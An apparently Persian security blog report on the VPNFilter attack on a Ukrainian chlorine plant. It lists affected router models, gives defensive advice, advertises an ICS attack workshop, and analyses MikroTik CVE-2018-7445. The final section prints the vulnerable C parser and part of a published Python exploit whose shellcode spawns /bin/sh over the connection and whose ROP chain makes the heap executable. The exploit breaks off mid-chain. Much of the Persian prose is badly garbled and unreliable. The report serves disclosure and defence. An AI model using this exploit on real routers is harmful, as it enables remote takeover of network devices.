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 مقدمه.1 

(   ITاطلاعاا     یاواا ر  یهاا  شااه  ررتات ساامان     یباا ستاترف اواا ر    یراخ یها در سال

 هاای  یای از همگرا یکیعووان  ب  ی هپ  ین. از ایما بوده یک یگر یسو ( ب OT  یاتیعمل یاوا ر یها سامان 

توتارل   یهاا  سامان . شود یم یاد یزیکیا-یبرسا یبا عووان تلاق یزیکیا یو هایبا ارا یبریسا یو هایارا

 هاای  شارتت قرار دارن ، اغلب توسط  مورداستفادهتشورها  یاتیر های زیرساختت  در صوعت    یصوعت

ب  تار  یگرد یها سامان  یرج ا از سا صور  ب  درسذشت ها  سامان  ین. اسردن  یم ی تول یمح  د   انحصار

 یازه، مم ین. اتکا ارا ان ب  اسردی  یها قلم اد م سامان  ینا یدر امن ساز یامر ر ش ین  ا ش ن  یسرات  م

غااا  تارده باود.     یتای امو های ی لا یرها را از پرداختن ب  سا سامان  ینا توو سان مصرف   ی توو سانتول

 یکارد ر  یان ج ایاز نتاا  تاوان  یرا ما  غیراساتان ارد  یها    اسطامن  یرغ یها   پر تک  یاستفاده از معمار

 ت ریج ب  ی،صوعت یها سامان  ی قب ینامر زه ا ی  توسع  اوا ر ی ج  های یازمو ین ی دل ب  .[1دانتت ]

 یها   نقاا  دسترسا   از پر تک  ی ج  یها . در سامان سردن  یم ر زرسانی ب  یا   یگزینجا ی تربا انواع ج 

 یدر اضاا  یات امو یاان متعا د م  یهاا  ب  علت تفا   .[1سردد ] یها استفاده م مشترک در شبک  یارتباط

OT  یاتیعمل یاوا ر یدر اضا یت(   اموIT اطلاعا   یاوا ر
 یعماوم  یراهکارهاا  تاوان  یلز ماا  نما   (1

 [.1ترد ]موتق   یزیکیا-یبرسا ی را ب  روزه یبریسا ی روزه

انواع تجهیزا  ارتباطی شابک  نییار    تارسیری ب های ریاتی شاه   در غالب صوایع   زیرساخت 

رتای     هاای شابک    تاار   هاای ارتبااطی   تووا ه  ، تقویات ها ها، بریج لای  د    لای  س ، هاب های ییچسو

شاون    ات  مای ها ب  تار سر در شبک  اعال تاملا زا  ب  شک  ب  دلی  ایوک  این تجهی ها هتتیم. متیریاب

   در صاوایع شااه  اخاتلال    قطعاا  در صور  رملا  یاا ستاترف دلاودسی ساایبری با  ایان تجهیازا          

ایزیکای ایان تجهیازا  بایا  در     -توج  ب  امویت سایبر ر  ازاین خواهیم بود. تشور یاتیر های زیرساخت

هاای     شابک  اطلاعاا    یتارشواسان اوا ر   سرپرستان، متئولان م یران صوعت   رراست، دستور تار

 یاجماال  یبررسب   د مبخش  دردر این سو   قرار سیرد. داری(   نگ  بردار بهرههای   ار   یصوعتتوترل 

با  معراای    سومدر بخش  پردازیم، می ینتلر در ا ترا ی تول یصوعت یتسا ب  VPNFilterمل  ب اازار ر

، شوب  س در ر ز  یمقص  دار انشا الله خواهیم پرداخت ت  «از ررف تا عم  ی،رملا  توترل صوعت»ارائ  

انجمن رمز  المللی ینتوفرانس ب ینپانزدهم های یشگاه(، در مح  نما12 یال 11ساعت   یورماهشهرششم 

پاذیری   یبدسا  یاجمال یررسب  ب چهارمبخش  در .دن را ارائ  نماییم (ییرجا ی شه تهران، دانشگاه  یرانا

 خواهیم پرداخت.یکر تیک م یها متیرباب ریاتی

  

                                              

 
1 Operational Technology 
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 اوکراین سایت صنعتی تولید کلر در به VPNFilterحمله بدافزار .2 

-VPNFilter 2-1 گزارش بررسی اجمالی بدافزار 

   2۰۰۰، ۸۰، 23 هاای  های شماره درساه یر  یارا ان TCP یها اسکن یلادیم یماه م ی در ا ا

NASشابک     سااز  یرهذخ یزا تجهها    متیریاب ۸۰۸۰
، Mikrotik هاای  شارتت تولی شا ه توساط    (1

ASUS ،D-Link،TP-Link ،Linksys ،QNAP،Huawei ،Ubiquiti ،UPVEL و ZTE  یشباادر 

هازار   5۰۰ بر بالغمیلادی راتی از دلودسی  یمهای ا لی  در ماه  سزارفاست.  ش ه مشاه هتشور  1۰۰از 

رمل  ممانعات  ه ف  مج د تجهیزا   ان ازی راه های قابلیتاین ب اازار دارای  در دنیا بوده است.دستگاه 

 ها است. ه از خ ما (، رص  تراایک عبوری   جلوسیری از ارسال داد

-2-2 یناوکرا Aulskaکلر در  یدتول یصنعت کارخانهبه  VPNFilter حمله 

بودنا  اماا    توچاک   متوساط    ISPهای شرتتاربران   ت VPNFilterی ب اازار  اسرچ  قربانیان ا لی 

ب  دلی  ق ر  بتیار بالای این ب اازار، تیم سازن ه ب اازار یا تیم دیگری تا    ارتمالا شواه  راتی از این دارد ت  

ای تا    های شبک  های توترل صوعتی   زیرساخت دن دسترسی داشت  است از دن برای رمل  ب  شبک  موبع ت ب  

باس( هتتو  استفاده نمودن . در این راستا یک پلاساین خااص   های صوعتی  خاص پر تک  م  بتتر عبور تراایک

 تارین  قا یمی ما باس  دانایم   مای ساازی شا ه اسات.     برای تحلی    شواسایی پر تکا  ما باس طرارای   پیااده    

 یاک  عواوان  با  ستاترده   طاور  با   ما باس اسات.   یتوترل صاوعت  یها سامان  یبرا یپر تک  ارتباط پرتاربردترین

 از دن ب   جود دم ه است. یمتفا ت های نتخ    یاات  تکام  ها سال یاست   ط ش ه سرات استان ارد ب  تار 

بر اساس اطلاعا  در دسترسی اعلی نقط  دغاز دلودسی این ب اازار مشخص نیتت اما ب  اعتقاد  

با اازار  . ایان  توا   مای برای انتشار خود استفاده  ها متیریاب های پذیری دسیببرخی موابع این ب اازار از 

از  ساردد  برمای  ای رایان  های ترمراتارهای دن بیشتر ب  خانواده  ر  ازاین دارای خاصیت خودانتشاری است

 تاوان یاک تر جاان    توان از دن مشاه ه نمود، این با اازار را مای   هایی ت  می سوی دیگر با توج  ب  راتار

 دسترسی از راه د ر نیز در نیر سرات.

ل   جاسوسی   خرابکاری صوعتی( با  تجهیازا  صاوعتی را دارد. نحاوه     توانایی رم این ب اازار 

تواناایی   پاذیر  دسایب ب اازار بع  از دلوده نمودن تجهیازا    رمل  در روزه صوعتی ب  این شک  است ت 

 هاای  بتات  رمل  ممانعت از خ ما (، رص  تراایک عباوری، شواساایی   ه ف  مج د تجهیزا   ان ازی راه

   جلوسیری از ارسال دادها را دارد.عبوری پر تک  م باس 

                                              

 
1 Network-attached storage 
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SBUسازارف مختصاری تا  از     بر اسااس 
ا تاراین   1

 Aulskaتلاار در  یاا تول یصااوعت تارخاناا  اساات موتشرشاا ه

ایان  تا  دب   االاالاب    یتلر بارا  ی تول مأموریتین ت  ا ترا

 موردرملا  دارد را    بالار س  یمولا ا     برخی موااط   تشور

از  سزارف دیگری تاتوون .است قرارسرات  VPNFilterب اازار 

بر است.  موتشرنش هدلودسی سایر صوایع ا تراین ب  این ب اازار 

 ر سای   سامت  ، ایان رملا  از  موتشرشا ه هاای   سزارف اساس

ا تاراین   ی  خصوصا  یعموم های یتسا در 2۰1۸ماه می  مشاب  ی رمل ت   طور همان ،است سرات  انجام

 است. ش ه دادهب  ر سی  نتبت 

 

 [11کلر ]: نمونه فرایند تولید 1-2 شکل 

                                              

 
1 Ukrainian Secret Service 
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 .شاود  مای ( استفاده NaClنمک   یزالکتر ل یاست ت  برا یصوعت یو هایارا ازجمل تلر  یو ارا

است اما ب   موتشرنش هاسرچ  اطلاعا  بیشتری از جزئیا  این رمل  ب  مرتز صوعتی تولی  تلر ا تراین 

از شواه  نشاان    جود بااین بحرانی برس . نتوانتت  ب  مررل    ش ه م یریت این رمل  SBU ی سفت 

 دارد. ینتلر در ا ترا ی تول یبالا یها یو در اثر هز یادز های چالش

 

-VPNFilter 2-3 حمله توجه قابلنکات  

   هاای رتااس   عم ه توجا  با  زیرسااخت    غالبا شود  های توترل صوعتی می زمانی بحث امویت سامان 

داد تا     نشاان   اماا ایان رملا     ؛شاود  هاای نفات، بار    سااز مای      ای، زیرسااخت  های هتات   نییر سایت ریاتی

 تماامی  با  ایزیکای بایا    -های صوعتی توها مح  د ب  این نوع صوایع نیتتو    در بحث امویات ساایبر   زیرساخت

 ارد  ملای هاای   سارمای  تبعا  سوگیوی را بارای  توانو   می ها دندر صور   ارد ش ن ختار  ب  صوایع تشور ت  

 توانو  هر یک از موارد ذی  باشو : این صوایع می توج  نمود. نمایو 

 صوایع شیمیایی 

 صوایع مس   اولاد 

 خاص این رمل !   صوایع مرتبط با  زار  نیر   دب   االالاب یها رساختیز) 

  های ریلی   هوایی   زیرساخت  نق  رم صوایع 

  های مرتبط   تارخان  سازی قطع صوایع 

  دار یی   صوایع پزشکی های تارخان 

 صوایع نیامی 

  های غذا   نوشی نی تارخان 

 ها   تارخان  سایر صوایع 

شرایط توونی تشور، از سویی دیگر  ر روزه صوایع  با توج  ب  ته ی ا  سایبری سذشت  تشور د

بای   1صوایع تشور درنتیج های متخاصم برای الج تردن اقتصاد    های پیش ر    تلاف تشور تحریم

های  صوایع   سازمان .ج ی سرات  شود ازپیش بیشامویت توترل   اتوماسیون صوعتی در تشور ما 

 ریسذا سرمای  لازم است تا دیر نش ه، توج    مرتبط با توج  ب  سطح رتاسیت خود در این روزه

 ترین سطوح صوایع ای نمایو ؛ این متئل  از صوایع سطح بالای تشور بای  شر ع شود   تا پایین  یژه

در تشور ما چ   ،ی تلر ا تراین ب  تارخان  VPNFilterبا توج  ب  رمل   مثال عووان ب ادام  یاب .  تشور

 ؟!است سرات  انجام های مشاب  اق اماتی برای امن سازی تارخان 

                                              

 
 اهمیت از نگاه اقتصادی و از نگاه امنیت ملی 1
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۸ 

 

-VPNFilter 2-4 بدافزار  ی حمله مراحل 

رفا    ه ف مررلا  ا ل، تو ؛  مج د دستگاه اق ام می ان ازی راهب   ب اازار در مررل  ا ل، نتبت

 تماامی  با  در ایان مررلا  با اازار     .مررل  د م ااراهم شاود   سازی پیادهپای اری ب اازار است تا مق ما  

 تو . می  باش  سوف ش ه اعال ها دن SYNت  پرچم  TCP/IPv4های  بتت 

در  مورداساتفاده  IP د ردن ددرس با  دسات  بارای   C&C  ردر مررل  ا ل، ب اازار از چو ین سر

  شود تا ب اازار بتیار ق رتمو  عم  تو    نتبت ب  تغییرا تو . این امر باعث می مررل  د م استفاده می

  .مقا م باش  C&C های سر رهای زیرساخت بیوی پیش غیرقاب 
 

 
 VPNFilter: مراحل حمله 2-2  شکل

د ری اایا ، اجارای    های ب اازار در مررل  د م مربو  ب  استخراج اطلاعاا  مانوا  جماع    قابلیت

 هاای با اازار در مررلا  د م    دستور، استخراج داده   م یریت دستگاه است. علا ه بر این، برخای نتاخ   

دساتگاه    سافت ااازار    ساراتن توتارل بخاش ریااتی     ب  دستبا  ت  طوری ب دارد.  قابلیت خود تخریبی

 .شود دستگاه می ازتارااتادنمج د دن، باعث  ان ازی راه

پلاسیوای بارای با اازار     عووان ب های مختلفی برای ب اازار  جود دارد ت   در مررل  سوم، ماژ ل

ایان   تووا .  های بیشتری ب  ب اازار مررل  د م الااا  می ها قابلیت سینتوو . این پلا مررل  د م عم  می
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رماز  شوود اطلاعا ، رص  تراایک، شواسایی پر تک  م باس، ارسال اطلاعاا  با  شاک      ها شام  پلاسین

  است. Torاز طری   ش ه

 

-5-2 محصولات تحت تأثیر 

 با اازار برابار   ساازن ه در  های شرتت یر زرسان ب صور  ع م نصب  در شبک ی ذی  از تجهیزا    ها نتخ 

 پذیرن : دسیب ش ه معرای

 Asus Devices: 
RT-AC66U  

RT-N10  

RT-N10E  

RT-N10U  

RT-N56U  

RT-N66U  

 D-Link Devices: 
DES-1210-08P  

DIR-300  

DIR-300A  

DSR-250N  

DSR-500N  

DSR-1000  

DSR-1000N  

 Huawei Devices: 
HG8245  

 Linksys Devices: 
E1200 

E2500 

E3000  

E3200  

E4200  

RV082  

WRVS4400N 

 Mikrotik Devices: 
CCR1009  

CCR1016 

CCR1036 

CCR1072 

CRS109  

CRS112  



1۰ 

 

1۰ 

 

CRS125  

RB411  

RB450  

RB750  

RB911  

RB921  

RB941  

RB951  

RB952  

RB960  

RB962  

RB1100  

RB1200  

RB2011  

RB3011  

RB Groove  

RB Omnitik  

STX5  

 Netgear Devices: 
DG834  

DGN1000  

DGN2200 

DGN3500  

FVS318N  

MBRN3000  

R6400 

R7000 

R8000 

WNR1000 

WNR2000 

WNR2200  

WNR4000  

WNDR3700  

WNDR4000  

WNDR4300  

WNDR4300-TN  

UTM50  

 QNAP Devices: 
TS251 

TS439 Pro 

Other QNAP NAS devices running QTS software 
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 TP-Link Devices: 
R600VPN 

TL-WR741ND  

TL-WR841N  

 Ubiquiti Devices: 
NSM2  

PBE M5  

 Upvel Devices: 
Unknown Models*  

 ZTE Devices: 
ZXHN H108N  

های امویتی ارائ  ترده  ها را تائی  ترده است   برای دن  صل   پذیری این دسیب او  های شرتتغالب 

در اصا  چهاارم ایان ساو       ش ه یمعراهای  در مورد تجهیزا  میکر تیک  صل  مثال عووان ب  است

های سازمانی    توترل صوعتی ت  محصولا  تحت تاأثیر     لذا ب  تلی  م یران شبک ؛ (ان  ش ه معرای

شود در اسرع  قت  صل   ر زرسانی را دریاات نمایو ، توصی  می را در اختیاردارن    بتوانو  نتخ  ب 

 این سو  را مطالع  ارمایی (.« لامیم  ب»های رتما   را نصب نمایو   در مورد نصب  صل  موردنیر

-6-2 های امنیتی حل ها و راه توصیه 

خاود قارار داده اسات.     یاهسا  یتات مخارب را در ل  هاای  یا  اا hashها   IPها،  دامو  یتکوس  

 یا  ته  یان نتبت ب  ا Linksys ،Mikrotik ،Netgear ،TP-Link   QNAP های شرتتب   ینهمچو

 ارائ  ترده است. ی ته  ینا یبرا ییهامحاایت ی،مختلف یایاز ز ا یتکوش ه است.جود س یرساناطلاع

 :ان ش هی توص یتکواز طرف س یرانجام موارد ز

  یهامتیریابتاربران SOHO یها  دستگاه NASیما خود را ب  توی یها، دستگاه 

 از دستگاه رذف شون . 3   2مررل   یتارخان  برسردانو  تا ب اازارها

  یهامتیریاب یوترنت،ا یسسر  دهو سانارائ SOHO  یان ازتاربران راه یجاب را 

 مج د توو .

 دن  یر زرسانب ب اازار است، نتبت ب   ینمشکوک ب  دلوده بودن توسط ا یاسر دستگاه

 شود. یتوسط سازن ه اق ام اور ش هارائ  یها صل  ینب  دخر

  ب   یانمشتر یهاراص  توو  ت  دستگاه یواناطم یوترنتا یسسر  دهو سانارائ

 ش ه باشو . یر زرسانب  سفت اازار یااازار نرم یهانتخ  یندخر

 ی ها، توصدستگاه یرسا یر  ی عام  ته  ینمخرب ا یا ارتمال انجام عمل ی دل  ب 

 .یرن م نیر قرار س NAS یا SOHO یهادستگاه یتمام یت  موارد او  برا شودیم
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  شود ت   ی  سازمانی یا توترل صوعتی دارای محصولا  تحت تأثیر توصی  می  ها ب  م یران شبک

بر دن را مح  د توو ؛ در صور   1م یریت   نیار   دسترسی ب  محصولا  تحت تأثیر   سامان 

ب  شبک  عمومی  ها دنر زرسانی محصولا  تحت تأثیر در صور  امکان،رتما  دسترسی  ع م ب 

 ی پیمانکاران( را قطع نمایی . ها VPN یژه ایوترنت یا   ب 

o  مهاجمین جهت دسترسی ب   2تا جایی ت  امکان دارد بای  نمای رمل

ها( شما ب  ر اق  برس ؛ اتصال  ایزیکی تجهیزا    سیتتم-های سایبر دارایی

 های غیرامن ب  ر اق  برسانی . این تجهیزا  را ب  شبک 

  شود ت  ب  تمک  ی توترل صوعتی دارای محصولا  تحت تأثیر توصی  می  ها ب  م یران شبک

این  ترجیحا های توترل دسترسی توها ب  تاربران مجاز امکان دسترسی ب  شبک  را ب هو    راهکار

 دسترسی مبتوی بر نقش اعمال شود(.

  ی توترل صوعتی ب      اتصال شبک شود ت  در صور ی توترل صوعتی توصی  می  ها ب  م یران شبک

توترل صوعتی استفاده نمایو ؛  3سوساز های دیگر رتما  از دیواره دتش توترل صوعتی یا یک شبک 

 مثال عووان ب توانیم در ارائ  محصولا  توترل صوعتی ب  شما مشا ره دهیم  در صور  نیاز ما می

 ایم. ی در صوایع تشور داشت سوساز توترل صوعت های مواقی در نصب تجهیزا  یک تجرب 

  ب  تمک محصولاتی مانو   شود ت  ی توترل صوعتی توصی  می  ها ب  م یران شبکSIEM  توترل

( ب  شک  متتمر تلی  تجهیزا  سامان    تراایک IDSصوعتی   سامان  تشخیص نفوذ صوعتی  

 ینمربو  ب  ا یهادستگاه پذیرییبدس یبرا Snort یامضا 31   اخیرا عبوری را پایش نمایو . 

 4امضاءها از نوع متوی   سایر موارد اشیاء اشتراتی مورد از این   24 ؛است موتشرش ه ی ته 

  هتتو .

  شود ت  در صور   صوعتی دارای محصولا  تحت تأثیر توصی  می توترل یها شبک ب  م یران

های تحت تأثیر  ه، سامان مح  دیت در شبک  یا پلوت صوعتی   جهت اتخاذ ر یکرد تاهش مخاطر

 ی امن قرار دهو . ایز ل  یا مح  ده 5را در یک زیرشبک 

 ت  در شبک  یا  ار  صوعتی شما نیاز ب  اتصال از راه د ر داری  رتما  از راهکارهای اتصال  درصورتی

پذیری نباش   داری دسیب VPNاستفاده توی ؛ توج  شود ت  خود راهکار  VPNراه د ر امن نییر 

پذیر  دسیب VPNاز طری  نمون  شماتیک سواریو نفوذ مهاجم  3-2 شک    پاشو  دشی  نباش ؛ در

                                              

 
1 Monitoring 

2 Attack Surface 

3 Data Diode 

4 Shared Object 

5 Subnet 
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توانیم این ته ی ا    راهکارهای امن  می د ره دموزشی پیشرات ی  ما در قالب تو مشاه ه میرا 

  را ب  شما ارائ  نماییم. ها دنسازی 

 

 پذیر آسیب VPNاز طریق : نمونه شماتیک سناریو نفوذ مهاجم 3-2 شکل 

 توترل صوعتی    های اوا ری اطلاعا    ها   رملا  ب  سامان  پذیری همانو  غالب دسیب

سازی دااع در عم    سایر راهبردهای امویتی  های رتاس  رتاس، ریاتی   مهم( پیاده زیرساخت

 شود. خرابی، نقط   ارسی   غیره ب  شما توصی  می نییر تووع در دااع، مولاع ایموی در برابر

 

ی  توانیم با شما   صوعت شاما جلتا    ت  هر یک از موارد بالا برای شما مبهم است، می * درصورتی

مشترک سذاشت    راهکارهای امویتی خود را، همراه با مجموع  خ ما    محصاولا  امویتای، با     

  ه خ ما    راه ارتباطی مراجع  نمایی .(لامیم  د، جهت مشاه شما معرای نماییم  ب 

 

http://ahmadian.blog.ir/post/ICSSecurityWorkshop
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 «از حرف تا عمل ی،حملات کنترل صنعت»ارائه  .3 

(   ITاطلاعاا     یاواا ر  یهاا  شااه  ررتات ساامان     یباا ستاترف اواا ر    یراخ یها در سال

 هاای  یای از همگرا یکیعووان  ب  ی هپ  ین. از ایما بوده یک یگر یسو ( ب OT  یاتیعمل یاوا ر یها سامان 

سذشات     ده یک. در شود یم یاد یزیکیا-یبرسا یبا عووان تلاق یزیکیا یو هایبا ارا یبریسا یو هایارا

 یصوعت یونتوترل   اتوماس یها سامان  یتامو یاتی،ر های یرساختب  ز یبریرملا  سا یشاازا ی ب  دل

نوع رملا  هتتم.  ینشاه  صحبت از ا یاریها   محاا  بت موردتوج  قرارسرات  است   در نشتت یاربت

 یهاا  رملا  با  ساامان     یاک  ماست ت   اقعا  در عم ، چگون  انجاا  ینتوج  است ا قاب  یارت  بت یا نکت 

ممکن است.  یجیتالد ی ب  نتبت ج  یدنالوگ   بتترها یسوت یارتباط یبا جود بتترها یتوترل صوعت

 یدر عما  از چا  بردارهاا    Stuxnet ،Industroyer ،Triton   VPNFilter یار نی یرملاتا  یراسات  ب 

تا    یبا  هماان ساهولت    شود، یم یانب  از محاا یاریت  در بت طور همان یاد توو ؟ یاستفاده م یا رمل 

 یار نی یزاتای باا تجه  یشابک  صاوعت   یاک نفاوذ   رملا  نماود، با       یرصاوعتی شابک  غ  یکب   توان یم

PLC،RTU،HMI در راوزه   یار رمالا  اراس  یتماام  تاوان  ی اقعا  ما  یانفوذ ترد؟ د توان یم یزن یره  غ

 ترد؟ ییاجرا یاطلاعا  را در روزه توترل صوعت یاوا ر

، ششم شوب  س قص  داریم در ر ز  انشا الله ش ه او ، تمک ب  شفاف نمودن متائ  مطرح جهت

 یاران اانجمن رمز  المللی ینتوفرانس ب ینپانزدهم های یشگاهمح  نما در ،(12الی  11ساعت   یورماهشهر

 یتوتارل صاوعت   یها شبک در  ی رملا  پا سازی پیاده ای با مضمون یی( ارائ رجا ی شه تهران، دانشگاه 

 یی،رملا   رمالا  شواساا    یواجمال چو  ساوار  است ت  ب  ینا ی  عمل یارائ  او ینه ف ا ارائ  نماییم.

اجارا ساردد،    ی ر،  اشاوا  یموسز یزا تجه 1یشیبتتر دزما ی( بر ر یاندر م یممانعت از خ ما    مرد

از  یکیدرنمون   عووان ب داده شود.  یشنما ها دن یتیامو هایساز تار یمطرح شود   برخ ها دن یها چالش

 یب  نحاو  توان یم یصوعت  چگون  در صور  نفوذ ب  سامان  یمترد نشان ده یمتلاف خواه ها یوسوار ینا

با اطلاعا  چارخش موتاور در    HMIراتور، اطلاعا  ت  ب  ن اطلاع اپ ییمرا مخ  ف نما  اطلاعا  شبک 

 ت  برای ایان توفارانس برناما  دارنا ،     از تمامی م یران، متولیان   متئولان محترم صوایع تواقض باش .

 شرتت نمایو . ساعت  کشود در این برنام  ی دعو  می

 :پرداخته خواهد شد ها آنیی که در این ارائه به ها سرفصل

   2سواریو رمل  شواساییاجرای عملی چو
 

                                              

 
1 Test Bed 

2 Reconnaissance 
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  اجرای عملی نمون  سواریو رمل  ممانعت از خ ما  DoS)  

   اجرای عملی نمون  سواریو رمل  ماردی در میاان  MITM)     با  ر ف متاموم ساازی

ARP 

 

 

 های ذیل هستند: فنی گروه کاملاًمخاطبان این ارائه 
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  یاتیر های یرساخت  ز یتوترل صوعت یها   متئولان سامان  یانمتول یران،م 

 یاتیر های یرساخت  ز یتوترل صوعت یها اطلاعا  سامان  یاوا ر تارشواسان 

 یاتیر های یرساخت  ز یتوترل صوعت یها اطلاعا  سامان  یتتارشواسان امو 

 یر  ساا  یانپژ هشاگران، دانشاجو   یتوترل صاوعت  یها شبک  ینتارشواسان   متخصص 

 یاتیعمل های ی راسکادا   اوا یتمو ان روزه امو علاق 

ای تام  از این رملا  ب  هماراه   مو  هتتی ، ما مجموع  چوانچ  ب  محتویا  این ارائ  علاق  *

 را در قالاب  معرای   اجرای عملی راهکارهای دااعی   محصولا  امویتی از اصول امویتی دیگار 

 دهیم. ب  شما دموزف می (لیوک های دموزشی  پیشرات  د ره

 

 توی . پوستر این توفرانس را مشاه ه می ذیلا 

http://ahmadian.blog.ir/post/ICSAdvancedSecurityWorkshop
http://ahmadian.blog.ir/post/ICSAdvancedSecurityWorkshop
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 یکروتیکم یهامسیریاب پذیرییبآس یاجمال یبررس .4 

از  RouterOS یهاا  در هم  نتاخ  با نمره پای  ریاتی را  پذیری یبدس یکر تیکم شرتت اخیرا 

 .رسانی تارده اسات   اطلاع  rc4 6.43تا  6.29 رژن

مراتاز متاولی    یشینپ هایرغم هش ار متأسفان  علی

 رانیاز تاربران   م  یاری، بترسانی در تشور  اطلاع

ر زرساانی   رااع    هووز نتبت با  با    یزا تجه ینا

 ان . اق ام نکرده یزا تجه ینا پذیری یبدس

 یرابط ، رص  شبک  تشور در ر زها ینا در

 23دهوا ه رمالا  ستاترده با  پاور        نشان یراخ

 پذیر یبدس یکر تیکم یها متیریاب( از مب أ تلوت 

 یار شا ه اخ  اشااره  پاذیری  یبدس ی ها عم تا  از طر متیریاب ینا یش ه در سطح تشور است. دلودس دلوده

 ( صور  سرات  است.winbox یسمربو  ب  سر  ۸291پور   پذیری یب دس

های موردنیر  تجهیز میکر تیک با  یژسی 115های ما از طری  شودان در تشور  بررسیبر اساس 

 .پذیرن  یبدسهووز  ها دناز   توجهی شواسایی ش  ت  درص  قاب 
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  !( است:7493۰4دی تع اد  ز م ذتر است تع اد این تجهیزا  بر اساس پویش ما در شایان



2۰ 

 

2۰ 

 

 

 

-1-4 پذیری مشخصات آسیب 

 د رده ش ه است. 1ج  ل پذیری موردنیر در  مشخصا  دسیب

 یکر تیکم یها متیریابدر  ی پذیری ج  دسیب: مشخصا  1ج  ل 

 CVE-2018-7445  پذیری: شناسه آسیب

 MikroTik RouterOS محصول تحت تأثیر:

 15-۰3-2۰1۸  پذیری تاریخ گزارش آسیب

سارریز بااار     پاذیری   دسایب  رمل  ممانعت از خ ما    اجرای ت  دلخواه  پذیری: نوع حمله و آسیب

CWE-121) 

 داخ  شبک    خارج شبک  1نقطه ورودی

 ریاتی  سطح مخاطره:

 V3 CVSS: 9.۸نمره پایه 

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(V3 legend) 

                                              

 
1 Entry Point 
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 V2 CVSS: 1۰نمره پایه 

(AV:N/AC:L/Au:N/C:C/I:C/A:C) (V2 legend) 

-2-4 پذیری گزاش فنی آسیب 

 6.29از  رژن RouterOS یها در هم  نتخ ی ی را پذیری ج  دسیب یکر تیکم شرتت اخیرا 

باا   Winboxااازار   نرم SMBسر یس  پذیری مربو  ب  دسیب ین. ارسانی ترده است اطلاع  rc4 6.43تا 

 NetBIOSنشتات  پذیری هوگاام ارساال پیاام درخواسات      سرریز باار در این دسیب است. ۸291درساه 

توج  این است ت  این سارریز بااار قبا  از اجارای هرسونا        توان  باعث ته ی  سامان  شود. نکت  قاب  می

؛ سیارد  ساز تار تص ی  اصالت   ب  دلی  ع م بررسی مح  ده داده ارساالی از سامت تااربر صاور  مای     

نیز امکان رملا   جاود    از راه د ر(  یخارجعلا ه برای مهاجمین داخلی برای تمامی مهاجمین بوابراین 

جاویی   ش ه است. طبیعتا  بهاره  پذیری اختصاص داده دارد   ب  همین دلی  نمره پای  بالایی ب  این دسیب

هار تا     پذیری امکان اجرای رملا  ممانعت از خ مت  سواریو رمل  سااده(   اجارای   موا  این دسیب

 تو . سواریو رمل  پیشرات ( را برای مهاجم اراهم می  یدلخواه

 
 

پارامتر ب  تو پشت  مجزا  عووان ب است ت  این مقادیر را  NetBIOSهای  تجزی  نام تابعسرریز باار مذتور در 

 د رده ش ه است: ذیلا ده . شبک  ت  تابع مذتور  اختصاص می
int parse_names(char *dst, char *src) { 

  int len; 

  int i; 

  int offset; 

 

  // take the length of the first string 

  len = *src; 

  offset = 0; 

 

  while (len) { 

    // copy the bytes of the string into the destination buffer 

    for (i = offset; (i - offset) < len; ++i) { 

      dst[i] = src[i+1]; 

    } 

 

    // take the length of the next string 

    len = src[i+1]; 

 

    // if it exists, then add a separator 

    if (len) { 
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      dst[i] = "."; 

    } 

 

    // start over with the next string 

    offset = i + 1; 

  } 

 

  // nul-terminate the string 

  dst[offset] = 0; 

 

  return offset; 

} 

 

-3-4 محصولات تحت تأثیر 

تووا  در برابار    استفاده مای  RouterOS ی ذی  از تجهیزا  میکر تیک ت   ها ها   نتخ  تمامی معماری

 پذیرن : دسیب ش ه پذیری معرای دسیب

  6.41.3های قب  از   تمامی نتخ 

 قب  از یها  نتخ  یتمام rc27 6.42 

 پذیرن : های ذی  دسیب این اساس تمامی نتخ بر 

 MikroTik RouterOS 2.9.51  

 MikroTik RouterOS 2.9.50  

 MikroTik RouterOS 2.9.49  

 MikroTik RouterOS 2.9.48  

 MikroTik RouterOS 2.9.47  

 MikroTik RouterOS 2.9.46  

 MikroTik RouterOS 2.9.45  

 MikroTik RouterOS 2.9.44  

 MikroTik RouterOS 2.9.43  

 MikroTik RouterOS 2.9.42  

 MikroTik RouterOS 2.9.41  

 MikroTik RouterOS 2.9.40  

 MikroTik RouterOS 6.3 

 MikroTik RouterOS 6.2 

 MikroTik RouterOS 5.26 

 MikroTik RouterOS 5.25 

 MikroTik RouterOS 5.15 

 MikroTik RouterOS 5.0 

 MikroTik RouterOS 4.0 

 MikroTik RouterOS 3.2 
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 MikroTik RouterOS 3.13 

 MikroTik RouterOS 3.12 

 MikroTik RouterOS 3.11 

 MikroTik RouterOS 3.10 

 MikroTik RouterOS 3.09 

 MikroTik RouterOS 3.08 

 MikroTik RouterOS 3.07 

 MikroTik RouterOS 3.0 

 پذیر نیتتو : های ذی  دسیب است ت   نتخ   توج  قاب 

 MikroTik Routeros 6.41.3  

 MikroTik Routeros 6.42rc27 
 

 

 
 

-4-4 منتشرشده 1جویی کدهای بهره 

ی از راه بردار بهرهپذیری    جویی عمومی ذی  برای این دسیب تا زمان انتشار این سزارف ت  بهره

 است. موتشرش هد ر 
/----- 

#!/usr/bin/env python 

 

import socket 

import struct 

import sys 

import telnetlib 

 

NETBIOS_SESSION_MESSAGE = "\x00" 

NETBIOS_SESSION_REQUEST = "\x81" 

NETBIOS_SESSION_FLAGS = "\x00" 

 

# trick from http://shell-storm.org/shellcode/files/shellcode-881.php 

# will place the socket file descriptor in eax 

find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48" 

 

# dup stdin-stdout-stderr so we can reuse the existing connection 

dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9" 

 

# execve - cannot pass the 2nd arg as NULL or busybox will complain 

                                              

 
1 Exploit 
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execve_bin_sh = 

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8

9\xe1\xb0\x0b\xcd\x80" 

 

# build shellcode 

shellcode = find_sock_fd + dup_fds + execve_bin_sh 

 

# rop to mprotect and make the heap executable 

# the heap base is not being subject to ASLR for whatever reason, so 

let's take advantage of it 

p = lambda x : struct.pack('I', x) 

 

rop = "" 

rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; 

rop += p(0x08072000) # ebx -> heap base 

rop += p(0xffffffff) # ebp -> gibberish 

rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; 

rop += p(0x14000)    # ecx -> size for mprotect 

rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; 

rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | 

